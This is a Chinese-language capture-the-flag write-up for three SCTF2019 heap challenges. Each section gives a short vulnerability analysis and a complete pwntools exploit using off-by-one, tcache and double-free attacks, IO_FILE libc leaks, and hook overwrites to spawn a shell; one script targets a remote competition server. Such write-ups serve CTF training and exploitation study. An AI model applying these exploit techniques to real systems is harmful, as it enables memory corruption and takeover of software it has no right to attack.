SCTF2019 write up for pwn challenges

Start

周末的时候因为有CISCN半决赛所以没时间做SCTF.半决赛有点遗憾,实力还是差了点.暑假考G的同时也加紧修行.
SCTF有人解出来的pwn有三题,最后一题看名字就知道我做不出来,两天内接着休息时间做了一下发现难度不大,easy_heap比较看基本功,one_heap比较新颖(本来我也想研究一下出一题攻击tcache结构的题目没想到被抢先了),出乎意外的是two_heap比较简单后来发现是出题人把关不严非预期了.

总的来说也学到了不少.这里简单记录一下write-up

easy_heap

binary
相关知识点以下文章中有提及
off_by_one
IO_LEAK

analysis

1
2
3
4
5
6
[*] '/home/n132/Desktop/easy-heap/easy_heap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 漏洞比较常规是editnull-byte-off
  • 没有常规泄漏点
  • libc-2.23

    solution

  • 因为开了PIE所以就不unlink了
  • 因为没有常规泄漏所以要么partial write碰撞要么只能做IO_LEAK了(一般情况下能IO_LEAK就不碰撞)
  • 全题最大的难点是为啥给我了一些没用的东西(我想了半天有啥用没,事实上没有也能做,可能有用上这些做的更快的方法)…

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
def cmd(c):
p.sendlineafter(">> ",str(c))
def add(size):
cmd(1)
p.sendlineafter(": ",str(size))
p.readuntil("ss ")
heap=int(p.readline()[:-1],16)
return heap
def edit(idx,c):
cmd(3)
p.sendlineafter(": ",str(idx))
p.sendafter(": ",c)
def free(idx):
cmd(2)
p.sendlineafter(": ",str(idx))
#context.log_level='debug'
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#p=process('./easy_heap',env={"LD_PRELOAD":"./libc.so.6"})
p=remote("132.232.100.67",10004)
p.readuntil("Mmap: ")
mmap=int(p.readline()[:-1],16)
heap=add(0x400)-0x10#0
add(0x88)#1
add(0x88)#2
free(0)
add(0x18)
edit(0,"A"*0x18)
add(0x88)#3
add(0x68)#4
free(3)
free(1)
add(0x200-8)#1
free(4)
add(0x88)#3
free(3)
add(0x98)#3
edit(3,"A"*0x88+p64(0x71)+'\xdd\x25\n')
add(0x68)#4
add(0x68)#5
edit(5,"\x00"*(0x43-16)+p64(0xfbad1800)+"\x00"*0x18+'\x00\n')
p.read(0x40)
base=u64(p.read(8))-(0x7ffff7dd2600-0x7ffff7a0d000)
log.info(hex(base))

libc.address=base
free(4)
free(3)
add(0x98)#3
edit(3,"A"*0x88+p64(0x71)+p64(libc.sym['__malloc_hook']-35)+'\n')
add(0x68)#4
add(0x68)#6
one=base+0xf02a4
edit(6,'\x00'*19+p64(one)+'\n')

#gdb.attach(p)
free(6)
p.interactive()
#need 47:29:35
#(2019-06-26)

one_heap

binary
挺有趣的因为这个知识点之前没遇过,所以挺考验漏洞利用能力的.
相关知识点tcache仔细看一下源码tcache部分对照着heap开始部分就可以看清楚了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = *fb) != NULL)
{
if (SINGLE_THREAD_P)
*fb = tc_victim->fd;
else
{
REMOVE_FB (fb, pp, tc_victim);
if (__glibc_unlikely (tc_victim == NULL))
break;
}
tcache_put (tc_victim, tc_idx);
}
}
#endif

analysis

1
2
3
4
5
6
7
[*] '/home/n132/Desktop/one_heap-/one_heap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

全保护

  • 只有两个功能add+del次数分别有限制(0xf,0x4)
  • del存在uaf但是只有4次(那么就比较尴尬了,不能愉快滴double free一套带走了)
  • 但是我们可以通过控制tcache结构体,利用unsorted bin的fb,bk在tcache上留下libc内地址之后partial write做IO_LEAK
  • 其中风水试试就会了.事实上难度不大我当时可能学了半天英语脑子比较傻做了3个小时多.

solution

  • tcache atk
  • IO leak
  • system(‘/bin/sh\x00’)

    exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    from pwn import *
    def cmd(c):
    p.sendlineafter(":",str(c))
    def add(size,name=""):
    cmd(1)
    p.sendlineafter("size:",str(size))
    p.sendlineafter(":",name)
    def free():
    cmd(2)
    context.log_level='debug'
    p=process('./one_heap')
    libc=ELF("./one_heap").libc
    cmd(1)
    p.sendlineafter("size:",str(0x79))
    p.sendafter(":",'\x00'*0x78+'\x91')

    free()
    free()
    add(0x79,p16(0x7010))#1
    add(0x7f)#2
    add(0x7f,'\x00'*0x20+p64(0x0000000007000000))#3
    free()
    add(0x41,'\x00'*0x40)#4
    add(0x18)
    add(0x18,'\x60\x07\xdd')#5
    add(0x78,p64(0x1800)+'\x00'*0x18+'\x00')#6
    p.read(0x20)
    base=u64(p.read(8))-(0x7ffff7dcf780-0x7ffff79e4000)
    log.warning(hex(base))
    add(0x38,'\x10\x70')
    add(0x48,"")
    add(0x7f,"")
    libc.address=base
    add(0x7f,p64(libc.sym['__free_hook']))
    add(0x48)
    add(0x48,p64(libc.sym['system']))
    add(0x18,"/bin/sh\x00")
    gdb.attach(p,'')
    free()
    p.interactive()
    # 03:36:15
    # 19-06-27

two_heap

binary
run on libc 2.26…
题目如果用非预期的话比较简单.我(<-懒,迟早要遭报应的)就不复现official’s exp

analysis

  • 开始有个formatstr可以用%a泄漏
  • 主要限制在malloc的size会被aline成8的倍数,而且不能重复,且小于0x80
  • 可以double free
  • tcache机制下,一般来说我们利用double free至少需要malloc 4个相同大小的chunk

    1
    2
    3
    4
    5
    6
    add(n)
    free()
    free()
    add(n,xxxx)
    add(n)
    add(n)
  • 例如0x70大小的chunk我们可以通过malloc(0x60 or 0x68)获得

    solution

  • leak libc
  • 有个比较特殊的东西就是0x20,可以通过malloc(0x0,0x8,0x10,0x18)获得所以我们就可以轻松滴getshell.

    exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    from pwn import *
    def name(n):
    p.sendafter(":\n",n)
    def cmd(c):
    p.sendlineafter(":",str(c))
    def add(size,n="\n"):
    cmd(1)
    cmd(size)
    p.sendafter(":\n",n)
    def free(idx):
    cmd(2)
    cmd(idx)
    #context.log_level='debug'
    libc=ELF("./libc-2.26.so")
    #libc=ELF("/glibc/x64/2.26/lib/libc-2.26.so")
    p=process("./two_heap",env={"LD_PRELOAD":"./libc-2.26.so"})
    #p=process('./two_heap',env={"LD_PRELOAD":"/glibc/x64/2.26/lib/libc-2.26.so"})
    #p=remote("47.104.89.129",10002)
    name("%a|%a%a%a%a")
    p.readuntil("|0x0p+0")
    p.read(4)
    base=int("0x"+p.readuntil("p")[:-1],16)-(0x7ffff7ffea78-0x7ffff7a26000)-(0x7ffff2264fa-0x7ffff7dd7000)
    log.warning(hex(base))

    libc.address=base
    cmd(1)
    cmd(0)
    for x in range(4):
    free(0)
    add(0x8,p64(0x7ffff7ff15a8-0x7ffff7dd7000+base))
    #add(0x8,p64(libc.sym['__free_hook']))
    add(0x10)
    gdb.attach(p)
    add(0x18,p64(0x7ffff7e85f80-0x7ffff7dd7000+base)+'\n')
    #add(0x18,p64(libc.sym['system'])+"\n")
    add(0x28,"/bin/sh\x00\n")

    free(4)
    #gdb.attach(p,'b *0x000555555555604')

    #
    p.interactive()
    # 1:15:54
    # 19-06-27